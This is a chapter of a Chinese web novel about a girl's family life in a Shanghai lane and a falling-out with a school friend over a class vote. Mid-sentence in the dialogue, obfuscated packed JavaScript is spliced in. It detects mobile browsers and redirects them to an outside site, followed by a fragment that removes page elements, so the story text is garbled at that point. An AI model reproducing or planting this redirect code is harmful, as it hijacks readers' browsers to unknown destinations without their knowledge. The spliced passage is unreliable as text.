当时她个子小，不用买票，罗英给自己买一张一块钱的单程票，母女俩搭晚上八点那班上船，坐到浦东，偷偷呆在轮渡上不下船，再跟着下一班坐回浦西。 黄浦江的夜色很美，一边是金色的万国建筑，十里洋场，一边是新兴的高楼大厦，霓虹灯耀眼。 更重要的是，江上的夜风很凉快，比闷热的小屋子舒服太多，比弄堂更适合“乘风凉”。 就在去年六月份，外婆家也装上了空调。 但家里人节省，觉得老房子太破，密闭性差，到处都有空隙漏风，开空调太费电，就算是35度的高温天，也只在晚上十点之后开空调。晚上十点到早上六点有分时电表，电费半价。 晚上坐轮渡这个活动，依旧存在在罗英和桑悦的生活里。 等母女俩从最后一班船上下来，再沿着夜色，慢悠悠地走回弄堂，差不多刚好是十点。 弄堂口的永和豆浆已经打烊关门，斜对面的步行街口，原本三层楼的利华公司早在几年前拆掉，变成了如今的宏伊广场。也是桑悦看着它一点一点造起来的。 此刻，宏伊里的高楼尚未熄灯，在黑夜中显得明亮璀璨。 罗英瞥了一眼，转进弄堂，顺嘴同桑悦讲：“阿拉弄堂各的，好像马上要拆迁咯。” 桑悦：“为什么拆？宏伊广场不是造好了吗？” 罗英：“听说是世博会，要修地铁。” 现在距离南京路最近的地铁是2号线的人民广场站，但要穿越一整条步行街，走到新世界城那边，距离外滩则是更远，起码走半个小时，很不合理。 2010年上海要开世博会了，到时候肯定会有很多游客来，政府一直在规划地铁线路。拆迁的事情，也传了两三年了，到最近才越来越有眉目。 只是通知一天不下发，一天都只是“听说”。 桑悦嘟了嘟嘴，不以为意，只是在楼梯口停下脚步，冲着罗英说：“妈，我先去沈照清家一趟。” “组撒？（干什么？）是不是又要玩电脑去咧？” “玩什么呀！去洗澡！” 外婆家人口众多，虽然外公已经去世、周骏才没来，家里都是女人，但洗澡还是和以前一样，要拉上塑料帘子、烧水用塑料盆洗，特别麻烦。 特别是现在时间已经不早，大家都在楼下看电视，进进出出更是麻烦加倍。 桑悦不是第一次去沈照清家洗澡了。 她朝罗英挥挥手，说：“沈照清肯定还没睡，我去借用一下他们家的浴室，马上回来啊！让小阿姨等等我，等我回来再放剧！” 桑悦的小阿姨就是罗敏，她是整个家里最具有享乐主义精神的人，和其他人的勤俭节约截然不同，属于那种想吃就吃、想买就买的人。 外婆曾经说过，罗敏没出嫁的时候，刚发了工资，就跑去楼下的利华公司，十块钱买了两个铁片耳环，是九几年的十块钱。 甚至，她买完带了两次还就不要了，一直丢在家里，去国外也没带走，实在太浪费。 对此，罗敏丝毫不以为意，直接说：“我自己赚的钱，花得开心么就好嘞，有撒好哇啦哇啦的啦。” 罗敏喜欢看韩剧，之前罗枚为了听越剧把家里的VCD机换成了DVD，罗敏也买了一些韩剧的碟片回来，等晚上开了空调，用DVD放，全家一起看。 最近在看的是《浪漫满屋》，桑悦喜欢《蓝色生死恋》，但对《浪漫满屋》这样的题材也接受良好，每晚不肯睡觉，跟着罗敏和贺云皎一起看得津津有味。 因而，桑悦跑出半条弄堂，还频频回头提醒罗英：“妈！一定不要让小阿姨放啊！等我！” 罗英皱了皱眉，远远打量了几圈桑悦小朋友那依旧平板车的身材，回答道：“知道了！你快点回来！别老给沈照清添麻烦！” “他才不会觉得我麻烦呢——” 小姑娘清脆的声音渐渐消失在弄堂最深处，听不清晰了。 12.12 2007年初，弄堂的市政动迁通知总算批下来。 地铁规划耽搁不了，时间紧任务重，刚出新年，拆迁办就来挨家挨户发动迁补偿方案，开始找居民谈话。 这年头，拆迁一夜暴富的故事在上海各地流传，且屡见不鲜。 弄堂里所有人都是抱着狠狠拿一笔钱的想法在期盼着，所以看到通知书上的补偿方案，大家都怨声载道，相当不满意。 拆迁办的补偿方案有两种，一种是按户口本上的人头数，一个二十万，一种是按照房屋面积，无论是原本就写在房本上的面积、还是后期自行搭建出来的面积，全都算，一平方五万块。 桑悦外婆家那栋楼里，四楼都是二三十平的小房间，三楼倒是有稍大一些的，但也比不上石库门里那些有两三间的屋子面积大。 这些老房子大多都住了一家子人，两代三代是常态，四世同堂的也有，偏偏户口不见得都在一起。譬如桑悦家，户口本一共只有五个人，桑悦、罗英、田书秀、罗枚和罗敏。 所以，他们无论按照户口来算，还是按照面积来算，都差不多不占优。 各家各户讨论得热火朝天时，桑悦正躺在沈照清家的沙发上打瞌睡。 老房子隔音差，早上，随着隔壁邻居的无线电里“中央人民广播电台中国之声”的音乐声响起，拆迁办的工作人员也早早就上门来做工作。 有外人在，桑悦没法在楼下继续睡觉，干脆披了个羽绒服，直接穿过弄堂，跑到沈照清家来补眠。 寒假还有几天，开学之后，两人就要念五年级的最后一个学期。 桑悦一想到马上就要去学校面对方圆，就尴尬得浑身不自在，整个人都恹恹的，提不起劲来，恨不得永远不开学。 放假前吵得那一架，余韵实在悠长。 上学期是桑悦他们小学阶段最后一次竞选三好学生，按照学校的要求，首先要满足前个学年四次大考总分年级前十五，然后再由各班自己先投票选出一个名额，报上去之后再竞争。 桑悦的成绩在班上属于长期稳定前五，英语虽然瘸腿，但她语数都很好，把分数拉了起来，但放到年级里，就一直在二十几名徘徊，比不过那些不偏科的同学。 只有上一年，她第一次卡着十五名，勉勉强强挤进了投票的候选名单里。 桑悦原本没报太大希望，虽说选上三好学生是很光荣，但只有市三好才有奖学金，名字能挂到学校外面的红榜上去，区三好和校三好都只发奖状。 上海是五四学制，小学五年初中四年，再过半年他们就要离校上初中去。这种纸质荣誉，有当然好，写到学生手册上留念，选不上也没关系，桑悦其实不是很在乎这些。 偏偏，最后投票结果，她只差了一票，就能竞选上每个班唯一的那个名额，和其他班的优秀学生一起参与竞争了。 投票数出来之后，桑悦看着黑板上每个候选人名字后面的“正”字，说不上低落，只觉得有点可惜。 她打小不够出众，做什么几乎都没拿过第一名。 难得有机会成为一次“1”，还就差了那一票，只能屈居第二，运气实在是差了点。 恰好，那天放学，是桑悦那组值日。 四年半的时光里，他们班的位置调整来调整去，每个月都会换一次。班主任为了防止后排同学被遮挡视线，每次都按照身高顺序调整座位。 桑悦一直在平稳长高，现在差一点点就到160，属于在班上中等偏高的女生。 方圆只比她稍矮一点点，宋书豪则是班上偏高的男生，三人的位置始终隔得不远，这回又换到了一个大组里，要一起做值日生。 和好朋友们在一起，桑悦嘴巴停不下来，一边排桌椅，一边“叭叭叭”地说着闲话。 排到最后一排时，她的余光滑过教室后面的垃圾桶旁边，蓦地一怔。 今天的投票是不记名投票，老师找了学委上去唱票。为了追求速度，学委打开每张的投票纸之后，没有重新合起来，只是随手放到了一边。此刻，那叠投票就被装在一个半透明的垃圾袋里，放在垃圾桶旁边，等着值日生倒垃圾的时候一起带走。 桑悦也不知道是不是天意如此，突然福至心灵，隔着透紫色垃圾桶，她居然一眼看到了方圆交上去的那张投票纸，还有上面写着的第一个字。 小学里的投票众多，连反馈食堂菜难吃都要搞个投票。 根据班主任说，这叫公正民主。 但这种过家家式的民主，老师也懒得真的弄得一本正经，每次都让大家自己随便撕张草稿纸，写了折一折交上去拉倒。 方圆很喜欢买各种漂亮的本子，最近沉迷信封样式的笔记本，她的投票纸很明显，是从蓝色信封本上撕下来的，桑悦见过那本笔记本好多次，非常熟悉。 那张蓝色信封纸被压在一叠纸中间，但因为理得不整齐，露出了第一个字——“宋”。 “……” 桑悦停下动作，回头看了看在扫地和擦黑板的两个好友，默默收了声，去把那张纸翻了出来，悄悄打开。 果然没看错，方圆写得不是她，而是宋书豪。 宋书豪成绩和桑悦差不多，也是在中上游起起伏伏的那种，不过他已经选上过一次三好学生了，在四年级的时候。加上他当时参加了区少年宫的一个比赛，拿了名次，最后还竞争上了区三好。 这一回，宋书豪和桑悦一样，竞选失败。投票排名第一的是他们班的大队长兼班长。 两人都没选上，但桑悦一直以为，方圆会投给她的。 她明明知道自己是第一次考进前十五，为什么还是投给了宋书豪呢？ 刚刚投票前去讲台上发言的时候，宋书豪甚至自己都说了不要投给他，给别的同学一点机会。 方圆没听到吗？ 还是说……她讨厌自己吗？ 桑悦握着那张纸，心里拧成了麻花，胸口“怦怦”直跳。她一想到自己的朋友有可能不喜欢自己，感觉血液都往脑袋上冲，最终还是没忍住，脑子一热，站在教室里当场就问出了声：“圆圆，你今天为什么没有给我投票啊？我差一票就能和班长平了。” 闻言，方圆明显愣了一下，放下黑板擦回过头。 两人站在教室的两端，一头一尾，遥遥相望。 方圆：“悦悦你说什么，我投给你了呀。” 桑悦默默地将那张蓝色的纸挥了挥，示意她，自己已经看到了。 “……” 方圆大步朝她走过来，一把抢走了那张纸，在手中中揉成一团，耳尖发红，“你怎么还翻垃圾桶啊！” 桑悦：“没翻，袋子是放在外面的。” 就这么两三句话功夫，宋书豪也注意到了两人的异样，拿着扫把，大大咧咧地朝她们俩走来，“怎么了怎么了？” 桑悦：“宋书豪，你能不能先到一边去？我和方圆有点悄悄话要讲。” 桑悦不想让宋书豪觉得，自己是不能接受方圆给他投票，所以才在这里质问她。 好朋友之间确实该一视同仁，给谁投都一样，三好学生而已，又不是什么很要紧的事情，但宋书豪都是投给她的，上课前还帮她在男生里拉了波票，想让她能在毕业前拿一次荣誉。 桑悦不是计较结果，她只是迫切地想知道，方圆究竟是怎么想的。 因而，她直勾勾地看着方圆的眼睛，一眨不眨。 方圆始终低着头，捏着纸团，拒绝和她对视。等宋书豪走远之后，她开口道：“是，我就是故意投给宋书豪的，你要生气就生气吧。” 桑悦：“为什么？” 方圆：“为什么我们都要围着你转？为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15191563|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么你没拿过三好，宋书豪就帮你拉票，我也没有拿过，你们有没有考虑过我的心情？我们不是一样的朋友吗？” 桑悦愕然，“可……” 可是，方圆这次并没有进入年级前十五。 她比自己还偏科，英语次次满分，数学只能勉强过80分的良好线，总分匀一匀，年级排名都到40名以外了，连上投票名单的资格都没有。 方圆打断她，继续自己说自己的：“之前你报名参加少年宫的船模赛，宋书豪就自愿跟你一组，比赛当天你的船模马达烧了，他还把他备用的马达换给你。那个马达是他自己焊的，比他自己参赛用的那个还好用。但我只能一个人去参加建模比赛。” 两个比赛在同一天，一个人没法参加两项。 桑悦被这么控诉，也觉得很头大，“可是建模本来就是单人赛啊，不能组队，你想参加船模，为什么不跟我们讲？” 方圆眼圈都红了，气鼓鼓地回答道：“你们那么快就说好了！让我后面再怎么说？！” “……” “反正你就是这样，永远都以自我为中心，总是你想怎么样就不管不顾地直接说出来，一点都不觉得尴尬，好像别人不答应你就对不起你一样。我今天就是故意投的宋书豪，谁知道你只和班长差一票。你想和我绝交那就绝交吧。” …… 12岁的桑悦，人生中第一次面临友情失控的情况。并且，在此之前，她甚至都不知道方圆对她有那么大的怨气。 这可真是一件复杂的事情。 虽然桑悦总是自诩自己已经长大了，马上就是初中生了，但她好像还是没法处理好这个问题。 方圆从那天开始一直没再理桑悦，哪怕桑悦试探性地主动跟她说话，她也只装作没听见，兀自一声不吭地走开。 每逢想起，桑悦总免不了长长地叹口气：“唉——烦死了。” 房间的另一边，沈照清在餐桌上放下早餐，叫她：“桑悦，吃饭。” 桑悦今天老早就从家里跑出来，连牛奶饼干都没吃。大人们也没顾得上她。 到这会儿，躺着转了那么久脑筋，好像确实感觉有点饿。 她慢吞吞地从沙发上坐起来，走到桌边，探头看了两眼。 和桑悦的四体不勤五谷不分不同，沈照清大部分时间都一个人在家，需要自己照顾自己，锻炼到现在，已经能简单地炒两个家常菜了。更别说早饭。 他不再拿蓝罐曲奇或是其他进口饼干敷衍，而是捣鼓了一锅热气腾腾的泡饭，又开了罐黄泥螺，配上老卜头（萝卜头）、酱瓜、玫瑰滋腐（腐乳），都是上海人家喜欢的就饭菜。 桑悦之前在家吃过几次，一直念念不忘。 但罗英觉得这种都是腌制菜，没营养，对身体不好，一般不让她吃。 不知道从什么时候开始，沈照清家的冰箱里开始备上了这种各色罐头。桑悦有时候嘴馋了，就跑过来蹭一点，瑟瑟（杀杀）馋虫。 两人各自打了碗泡饭，面对面坐下。 沈照清刚刚听到她在唉声叹气。 事实上，桑悦和方圆吵架那天，他就在走廊外面等桑悦做完值日一起回家。不过两人连宋书豪都刻意避开，更不会让教师外面的人听到。所以沈照清也是后来才知道的原委。 他扒拉了两口泡饭，主动开口道：“别想了。你没做错，管人家怎么想。” 桑悦：“可是方圆是我的好朋友啊。我当然要在乎她怎么看我。” 沈照清抿了抿唇，声音压低几分，“……只在乎我不行吗？” 桑悦没听清，问：“你说什么？” 沈照清摇摇头，“我说，如果不能喜欢全部的你，这样的朋友不算最好的朋友，只是普通朋友。所以别难过了。我妈昨天晚上打电话回来，说后天带我们去吃肯德基。”